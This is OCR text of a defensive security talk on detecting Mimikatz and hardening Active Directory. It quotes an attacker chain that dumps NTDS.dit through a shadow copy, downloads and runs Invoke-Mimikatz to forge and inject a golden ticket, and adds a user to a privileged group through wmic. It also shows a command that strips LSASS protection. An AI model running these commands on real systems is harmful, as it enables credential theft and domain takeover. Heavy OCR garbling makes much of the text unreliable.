YOU « TRY » TO DETECT
MIMIKATZ ;)
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| So, no #mimikatz to fight at
@CarbonBlack_Inc booth this year?
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COMMON MISTAKE:
MIMIKATZ IS NOT JUST ABOUT
CREDENTIAL COLLECTION
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3 Main areas

aY

Local LSASS hacking

* SEKURLSA::LogonPassw
ords

e

Remote AD hacking

“ LSADUMP::DCSync,
kerberos::golden

¥ MISC

# CRYPTO::Certificates

From: “Unofficial Guide to Mimikatz & Command Reference”

f you want fo stop mimikatz you have fo stop every fechn



https://adsecurity.org/?page_id=1821

AN EXAMPLE: UNDERSTANDING
THE GOLDEN TICKET ATTACK
DISCLOSURE



*Presented at

USA 2012 9

* hittps://www.blackhat.co

m/us-
14/briefings.ntml#abusing-

Kerberos microsoft-kerberos-sorry-
Golden Ticket you-quys-dont-get-it

GOLDEN TIBKET

I‘EB 1 lﬂA l (SHARP’ l’Ml‘l‘ OATI:S



https://www.blackhat.com/us-14/briefings.html

:SERT-EU

CERT-EU Security Whitepaj :r 2014-007

Kerberos Golden Ticket Protection

Mitigating Pass-the-Ticket on Active Directory

Miguel SORIA-MACHADO, Didzis ABOLINS,
Ciprian BOLDEA, Krzysztof SOCHA

ver. 1.4

April 26, 2016

BULLETIN D'ACTUALITE DU CERT-FR

Objet: Bulletin d'actualité CERTFR-2015-ACT-025

GESTION DU DOCUMENT
Référence
Titre
Date de la premiére version
Date de la derniére version
Source(s)

Piéoe(s) jointe(s)

CERTFR-2015-ACT-023

Bulletin d'actualité CERTFR-2015-ACT-025
22 juin 2015

22 juin 2015

Aucune(s)

‘Tableau 1: Gestion du document

Une gestion de version détaillée se trouve i la fin de ce document.

1 year later

T
% Bundesamt
fiir Sicherheit in der
Informationstechnik
Themd

IT-Grundschutz

Umsetzungshinweise zum Baustein
DER.2.3 Bereinigung weitreichender
Sicherheitsvorfalle




Go gle site-htips://iwww.us-cert.gov "golden ticket” !, Q,

Tous Images Shopping Vidéos Actualités Plus Paramétres Outils
1 résultat (0,23 secondes)

FofI Risk and Vulnerability Assessment FY2018 - SAMPLE - US-CERT e | S -|- h q -|- b ecause -|- h e
hitps:/fwww.us-cert. gov/sites/default/._/RVA-Sample-Report.pdf v Traduire cette page

23 mars 2018 - The hashes can then in tumn be used to create a Golden Ticket for use in Pass the

404 - File Not Found (« » atfack
The file that you requested cannot be found. is n O'I' O VU | n erO b”i'l-y 2

If you are looking for information about a specific topic, you may be able to find related content by using the search
feature.

oY | 2 Sovar Exginio i | ol ity s wdas done ¢

Vulnerability Notes Database

Adwvisory and mitigation information about software vulnerabilities

DATABASE HOME SEARCH REPORT A VULNERABILITY HELP

Advanced Search

Search for Vulnerability Notes that contain the following word(s):

golden ticket Search

Searches are case insensitive, and they match whole words in a full text index. You can use logical constructs such as
and, or and not, as well as parentheses and wildcards like asterisk and guestion mark.




Thanks to wikileaks for more insight

Raytheon
Pique Analysis Report

Blackbird Techrmlngies 20150821-261-CERT-EU Kerberos Golden Ticket

1.0 (U) Analysis Summary

“Hacking Expused Beyond Malware.” The RSA Cnnf‘erence shide deck lnuches on passing the
gnlden ticket. The CERT-EU reporjieems e soty and mitigating a

the attack The RSA Conference a.]u‘les pmv 1E maraductad Douerbhs

little technical discussion on 1mp]antmg an attack

golden ncket, but 1t flnes not provide any technical detmls in athEvmg the required level -::rf
access or pivoting to collect the necessary artifacts.

https://wikileaks.org/vault7/document/2015-09-20150821-261-CERT-EU-Kerberos_Golden_Ticket/2015-09-20150821-261-CERT-EU-
Kerberos_Golden_Ticket.pdf



¥ #RSAC

GAIN ELEVATE DUMP MAINTAIN
ACCESS PRIVILEGES CREDENTIALS PERSISTENCE

Steal Kerberos user hash and Install Golden Ticket:
vssadmin create shadow /for=c:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl\Windows\NTDS\NTDS.dit c:\

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl\Windows\System32\config\SYSTEM c:\

powershell "IEX (New-Object Net.WebClient).DownloadString('http://REDACTED'); Set-Variable -name cmd -value
‘""kerberos::golden /admin:REDACTED /domain:REDACTED /sid:REDACTED /krbtgt:REDACTED /ticket:my.ticket\"'; Invoke-Mimikatz
-Command $cmd"*

powershell “IEX (New-Object Net.WebClient).DownloadString('http://REDACTED'); Set-Variable -name cmd -value
‘“"kerberos::ptt my.ticket\"'; Invoke-Mimikatz -Command $cmd""

wmic /authority:"kerberos:REDACTED" /node:REDACTED process call create 'cmd.exe /c powershell.exe -command "Add-
ADGroupMember \"Organization Management\" REDACTED"'

SECURITY CHALLENGE: Root cause:
DETECTING ON-GOING ADVERSARY ACCESS TO THE Wrong infOrmation ﬂOW in

ENVIRONMENT EVEN AFTER A FULL PASSWORD RESET
S the infosec community




TRYING TO DETECT
MIMIKATZ



Buy an Antivirus (or not) 1/2 ¢

o 49 engines detected this file o o‘ 53 engines detected this file o
O SHA-256 b985bcaleaf044c321f1d4274ec1 cf9660e5d90553c557b3769f0bce744fa3ae o SHA-256 b985bcateaf044c321f1d4274ec1cf9660e5d90553c557b3769f0bce744fa3ae
File name mimikatz.exe \/ File name mimikatz
e EXI
File size 394 KB File size 394 KB

Lastanalysis  2017-01-13 17:45:50 UTC

2017 2019

Last analysis  2019-03-06 12:52:55 UTC

Detection Details Redations x Behavior Community o Detection Details Relations X Behavior Community o

Ad-Aware A Gen:Variant.Zusy.157789 AegisLab A HackTool. W32 Mimikatzi'c Ad-Aware A Gen:HackTool.WinCred.2 AlYac A Gen:HackTool.WinCred.2

AhnLabv3 A\ HackTool/Win32 MimikatzR185194 ALYac A GenvariantZusy157789 Antiy-AVL A HackToolWin32 Mimikatz Arcabit A GenHackToolWincred.2

Antiy-AVL A HackTool/Win32Mimikatz Arcabit A Trojanzusyp2685D +] 3 AV Avast A Win3zPUP-gen [PUP] AVG A Win3zPUP-gen [PUP|

Avast A Win32:PUP-gen [PUP] AVG A HackTool AEH) Only +4 BitDefender A Gen:HackTool.WinCred.2 CAT-QuickHeal A Trojan.ZAgent

Avira A sR/Mimikatzis AVware A TrojznWin32GenericleT de-l-ec-l-ion ClamAV A WinTool Mimikatz 5 cMC A HackToolwinzz Mimikatzi0

BitDefender A GenVariant.Zusy.157789 CAT-QuickHeal A Trojan.ZAgent Comodo A Malware@#28a1xy4zcShjk CrowdStrike Falcon A win/malicious_confidence_100% (W)

2

ClamAv A WinTeolMimikatz 5 cMC A HeckToolWin32 Mimikatzio ¢ Cybereason A malicious.1990cc Cylance A e

Comodo A UnclassifiedMalware CrowdStrike Falcon A malicious_confidence_62% (D) Cyren A W32/Mimikatz.A.gen!Eldarada DrWeb A Trojan.StartPage.54019

Cyren A W32/Mimilatz.A.gen|Eldorada Drweb A Trojan.StartPage54019 eGambit A Trojan.Generic Emsisoft A Gen:HackTool.WinCred.2 (B)

Emsisoft A Genarlant.Zusy.157789 (B) eScan A GenVarlant.Zusy.157789 Endgame A malicious (high confidence) eScan A Gem:HackTool.WinCred.2

ESET-NOD32 A @ veriantof Win32/RiskWare MimikatzG - F-Prot A W32/mimikatzAgentEldorado ESET-NOD32 A 2veriantof Windz/RiskWareMimikatz G F-Prot A W3zMimikatz A gentEldorado
Fortinet A Riskware/Mimikatz GData A Win64.Riskware.Mimikatz.B
lkarus A HackTool.Mimikatz Jiangmin A HackToolMimikatz.d

https://www.virustotal.com/#/file/b985bcaleaf044c321f1d4274ec1cf?660e5d90553¢c5570b3769f0bce’744fa3ae/detec

tion



Buy an Antivirus (or not) 2/2 ¢

| 7 | Win32

Accueil Partage

* D m"; Couper
=|

Epmglerdans Copier Coller
Accés rapide

Presse-papiers
€ 5 v
Virtual Machines
Documents
[ Bureau
&* Dropbox
; Téléchargements
[&=] Images
& conferences
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&* Dropbox
OneDrive

[ cepC
I Bureau
Docurments
. homes (192.168.0.30)
=] Images
Ji Musigque
J Objets 3D

6 élément(s)

Affichage

E Coller le raccourdi

P
*

% %% %

w.l Copier le chemin d'accés i *
Déplacer Copier Supprimer Renommer

Vers Vers

Nem

kappfree.dil
kellowarld.dll
Kock.dll

&Y mimikatz.exe
mimikatz.sys
sekurlsa.dll

- X
Organiser

~

=1

Lﬁj Nouvel élément +
ﬂ Accés rapide ©

Mouveau
dossier

MNouveau

» CePC » Toshiba (B} » Documents » programmation > rmimikatz 3 Win32

Madifié le

04/07/2013 01:25
04/07/2013 01:25
04/07/2013 071:25
04/07/2013 071:25
04/07/2013 01:25
04/07/2013 01:25

Fropriétés

Type

Extension de l'app...
Extension de l'app...
Extension de l'app...

Application

Fichier systeme

Extension de 'app...

B¢ Ouvrir

[ Modifier

E Sélectionner tout

0o
-0 Aucun

) Historique E“E‘ Inverser la sélection

Ouvrir Sélectionner

v Rechercher dans : Win32
Taille

34 Ko
91 Ke
130 Ko
384 Ko
18 Ke
176 Ko

8% Paramétres

LTy UTTIIIOTIS U Ta ProtcougT SUTi o JuuT,

Derniére mise a jour: 1451 mardi 5 mars 2019

-)

Example with Windows
Defender on my computer:
¥ The first official version of
mimikatz (the one shown in
the previous slide) compiled
in 2013

¥ Analysis performed
March, 6th 2019

Microsoft A HackTool:Win32/Mikatz!dha

Root cause: Signature instead of « Behavior » detection



Time to Do It Yourself ¢

Let’s start with the basics and progress

* |dea: you cannot win the « four de France » if you do not know how to
ride a bike

# Same with mimikatz



DETECT: THE CISO WAY



Let’s fry the CISO way

e France: ANSSI
* Germany: BSI
e USA: STIG
e CERT alerts
* Conferences
follow-up

* Rely on your
vendor rules

e And start
handling
alerts




@ Bundesamt
fiir Sicherheit in der
Informationstechnik

IT-Grundschutz

B 5.16 Active Directory

<
o

Active Directory

PREMIER MINISTRE

Paris, le 10 septembre 2014

NeDAT-NT-17/ANSSI/SDE /NP

30S/ISSNV/2T-LN-1va

gence nationale de la sécurité
(v compris cette page) : 49

NOTE TECHNIQUE

RECOMMANDATIONS DE SECURITE RELATIVES
A ACTIVE DIRECTORY.

<

=)

NATIONAL VULNERABILITY
DATABASE

NVD

Active Directory Domain STIG
Ver 2, Rel 10 Checklist Details




« Follow your national (CERT-FR, CERT-Bund, US-

CERT, ..})

“ |f you have fo follow on twitter:

* @PyroTek3 — Sean Metcalf is the author of .
www.adsecurity.org and retweet any AD focused topics

https://adsecurity.org/epage id=4031

Sean Metcalf

@PyroTek3 Vous suit

Microsoft Certified Master
, Founder



http://www.adsecurity.org/
https://adsecurity.org/?page_id=4031

A BOX ¢ What about a SIEM ¢

A Siem « process » ALL events you are sending to it






Frameworks & Watch vs Reality

# Good point: frameworks are
explicit (no unlimited list of
problems to fix)

= Twitter is the best source of
data

¥ But:
* Based on the assumption you
ho)ve no history (few domains,
.I.\.lo’r all attacks are covered by
CERT alerts

* Heferogeneous coverage
between framework

* Basic security problem not
covered

Staled Objects Privileged accounts Trusts

Inactive user or computer ACL Checl

Metwork topography Admin control

Old trust protocol

SID Filtering

Anomalies

Backup

Certificate take over

Object configuration Irreversible change SIDHistory

Obsolete 05 Privilege control

Qld authentication protocols Trust inactive

Provisioning

Replication

Unfinished migration

Vulnerahility management

Legend:
the framework has at least one rule covering this item
this item is not covered by any framework rule

Trust impermeability

Golden ficket
Local group vulnerability

Metwork sniffing

Fass-the-credential

Fassword retrieval

Reconnaissance

Temporary admins

Weak password



+ What you : YOU/RELY ON VENDOR RULES

« new attacks automatically
covered »

* What you
* An increase of 30% of your EPS
“ Brute force attack detected
* Logs collected |

* What you : Z
* DCSync, Golden ’ncke’r .. Detection ““l MUST [[[l sn}“n[ “nw

INn short Nno Mmimikatz de’rec’non




@ Reports  AiLreporTs | comPLIANCE
w

! User Accounts Group Membership —

! User Accounts Last Logon Time
D ! All Group Policy Changes by Group

FISMA Compliance ! Account Policy Changes

! Audit Policy Changes

wll HIPAA Compliance ) )
[P Interactive Logon Settings Changes

3 |SD_I|'r|E'C 27001 C’Dmp“ance ! Password Pﬂllq." ChﬂﬂgE‘E
all PCIDSSv30 [P Restricted Groups Policy Changes

i SOX Compliance

Group name: \Enterprise\Users\Domain Users - \

Action Who What When
B Added ENTERPRISE\).Brown Audit Object Access Policy 4/30/2015 £ S ,\\;.'
2:29:11 AM . g ) 1
Where: dcl.enterprise.com

-n \"

oo 2542 YOU MUST FEEl SEI}IIIIE NIIW

imgflip_.com SORP o SN

Compliance reports from a AD security vendor:
It does not detect mimikatz...



NOT S“HE IF + Frameworks are structed

do not cover all attacks

* Watch covers advanced topics
not the basic one

« SIEM process logs
are they the right logs and
what about the rules?




LETS GET TECHNICAL:
LOOMING ON CREDENTIAL
THEFT



Evolution of LSASS security posture

LSASS.exe

/ Windows 7:

Mimikatz is a post compromission tool
This is not a vulnerability

LSASS.exe
Windows 8.1:

Prohibit storage of sensitive passwords
(“Restricted Admin mode for Remote Desktop
Connection”, “LSA Protection”, “Protected
Users security group”)

LSASS.exe

Sl / Then:
iy

More and more protection such as
virfualisation

1 m Immutable Laws
Of Security

[ SOWEGA"-T m,‘r»'f

if 'GRAB CREDENTIALS JATICKETS COLUMN,
G ANYMoREJD) Nuonl,ﬂ' Yo

I
;



http://fossbytes.com/wp-content/uploads/2016/10/10-immutable-laws-of-seurity-microsoft.jpg

:__g, Local Security Policy

File Action View Help

o9 20 XE = D

HH L
- T T -
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i f L
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T ! '] I

LEET TN N Hi "
Lo T

LETRTRTRTT

i.com

= Security Settings
4, Account Policies
v [ g Local Policies
a Audit Policy
4 User Rights Assignment
a Security Options
_| Windows Firewall with Advanced Sec
| Network List Manager Policies
_| Public Key Policies
| Software Restriction Policies
_| Application Control Policies
3 IP Security Policies on Local Compute
_ Advanced Audit Policy Configuration

Policy

;‘l Access this computer from the network
Act as part of the operating system

7 Add workstations to domain

_i—j Adjust memory quotas for a process

- Allow leg on locally

Allow log on through Remote Desktop Services

_:j Back up files and directories
_i—j Bypass traverse checking
A Change the system time
Change the time zone
_i:_1 Create a pagefile
Create a token object
Create global objects
Create permanent shared objects

Security Setting
Everyone Authenticated .

Authenticated Users
LOCAL SERVICE,NETWO.
Administrators, Account .
Administrators
Administrators,Server O..
Everyone Authenticated .
LOCAL SERVICE, Admini..
LOCAL SERVICE, Admini..

Administrators

LOCAL SERVICE,NETWO.

Create symbolic links Administrators
% Debug programs Admiriziators

Mimikatz requires the « debug privilege » - Just remove it!

/




Status of LSA protection

Protection mechanism

Applicable Windows version,
edition

Prevent credentials to be
sent on a remote server

Restricted Admin mode for
Remote Desktop Connection

Protected Users security

Force Kerberos only SSP
group

Restrict access to LSA

LSA Protection Mode process on the 0S

Requirement

Requires LSA signature of ALL third party
components using EV certificate

Bypassed by

Allow authentication by « pass-the-hash » & «

pass-the-ticket » via CredSSP

Kerberos ticket stolen

Iprocessprotect /process:lsass.exe /remove

Isolate secrets from OS on

Credential Guard .
Hypervisor

Windows 10 Enterprise only

Secure boot (TPM) & HyperV (Not VMWare)

Capture credentials before being stored




But there Is no place such as
LSASS.exe

Methods to read LSASS.exe memory

: Genuine access to passwords :
Genuine Debug access P Genuine memory access

\ /Securi’ryPockoge \ /Smor’rCords driver \

(« Calais database »)

DIl injection

Memory copy Authentication package

-

Sub Package (*)
Password filters

(« ProjectSauron »)

Requires Debug Privilegeyk \_

(*) https://docs.microsoft.com/en-us/windows/desktop/secauthn/subauthentication-
packages

R







INn fact, LSASS Is only a « gold mine »

LSASS.exe Golden flakes still in the river



Demo 3 —driver + SSP!

34 y '

-v. ,‘ 4
S ’ L e | ';l '
; ition, | want all'positionsitix




LOOMING ON ACTIVE
DIRECTORY



Kiwi's
~ GOLDEN TICKET

GREETINGS TO YOU, THE LUCKY FINDER OF THIS GOLDEN ﬂCKH Thes

PRESENT THIS TICKET TO THE KEY DISTRIBUTION CENTER WHEN YOU WANT...

YOU CAN BE LATE, AND YOU MAY BRING WITH You mimikatz!
In your wildest dreams you could not imagine the marvelous RIGHTS that await YOU!

THEY'TOLD ME1COULD
BE MIY'I'IIIIIE I WMI'I'EII
AR

In short: the
golden
ticket
factory

DCShad',o_v«.l. :-

z#s .‘

Jedenu I

Gentil Kiwi 5
vm-w?-lﬂt—x e




How It works: 2/2

k3

“ (o
Vg yorap
credentialsiy

o > £ Y
e ‘%

1) Retrieve the credentials to open the first « safe »
2) Then abuse it to get other credentials to open other safes




The root causes

, . Sojyou implemented
* [t Is not about credential / a fulllKerheros'domain?
authentication but about AD secret -2l a

managment

¥ It is about network seggregation

* |t is about having unknown frust
relationship with other domains

4, - kY

> - 3 a L A
You must feel secure.now.
3 T Sl £ T 0L,







HOW TO « DETECT »
MIMIKATZ ¢



You don’'t need mimikatz
to be mimikatzed

Aftacks implemented in
other tools. Example:

y Quarks
PwDump

$ secretsdump.py
from Impacket

GhostPack

4

MakeMeEnterprises Admin

4 kekeo |



Rule #2: apply the author
recommenddations

J® Benjamin DELPY “gentilkiwi” DSTme: | Compuer: | DSUsersia: | DSDomai | DSUserName © | DSObjectType © | DSObjectName - | DSS
. L. 06/02/2018 19:28:53 dc.lab.local NONE_MAPPED LAB SilverTicketUser domainDNS DC=lab,DC=local sucq
htt p: -"r "r bl 0g.82 ntilkiwi.com 06/02/2018 19:26:21 dc.lab.local NONE_MAPPED LAB GoldenTicketUser ~ domainDNS DC=lab,DC=local sucq
ben j ami I'I@'EE ntilkiwi.com 06/02/201819:2506  dclab.local  NONE_MAPPED LAB GoldenTicketUser  domainDNS DC=labDC=local  sucq
. . . 06/02/2018 19:22:26 dc.lab.local LAB\Administrateur LAB Administrateur domainDNS DC=lab,DC=local sucq
Licence : httDS : "UICPE gtivecommons .::-rg,-’llcenses,.ftly,-"-'-l-. a'llr 06/02/2018 19:09:12 dc.lab.local LAB\Administrateur LAB Administrateur domainDNS DC=lab,DC=local sucq
* l." 06/02/2018 16:40:28 dc.lab.local LAB\Administrateur LAB Administrateur domainDNS DC=lab,DC=local sucq
rule m imikatz 06/02/2018 15:45:26 dc.lab.local LAB\Administrateur LAB Administrateur domainDNS DC=lab,DC=local sucq
06/02/2018 15:33:50 dc.lab.local LAB\Administrateur LAB Administrateur domainDNS DC=lab,DC=local sucq
{ 06/02/2018 15:10:13 dc.lab.local LAB\Administrateur LAB Administrateur domainDNS DC=lab,DC=local Suc
meta. 4
description = "mimikatz" 5
author = "Benjamin DELPY (gentilkiwi)"

tool_author "Benjamin DELPY (gemtilkiwi)"

Y V| I R | B

14:00 16:00 18:00 20:00 22:00 00:00 0
sam. juin 2 dim. juin 3
2018

Do you know @gentilkiwi

oublished yara rules 2 Same for DCSync Detection ¢

Check out (and adapt)
hitps://qist.github.com/gentilkiwi/dcc1324574
08cfl11ad?2061340dcb53c?2



https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2

Rule #3: Know your scope |

I'm still surprised to see companies
that :

* Do not know how much AD they

have
My gift to the community:

https://www.pingcastle.com
# Cannot list open shares (with

passwords) or local admins

# Have still some MS1/-010
unpatched




CONCLUSION



Mimikatz Is a brand

You cannot fight an image And for techies

* You can (sometimes) detect
mimikatz as a whole application

o ° @ Benjamin Delpy @ g
@qgentilkiwi

When | see 'solutions’ trying to detect/stop
#mimikatz by identifying DLL loading
list/order...

You, of course, are aware real malwares using
embeded versions are built with #mimikatz
without tons of modules?

* But maybe you should ,
understand the afttack behind
http://github.com/gentilkiwi/mimikatz rather than looking for a toal...
http://github.com/vletoux/pingcastle
@mysmartlogon



http://github.com/gentilkiwi/mimikatz
http://github.com/vletoux/pingcastle

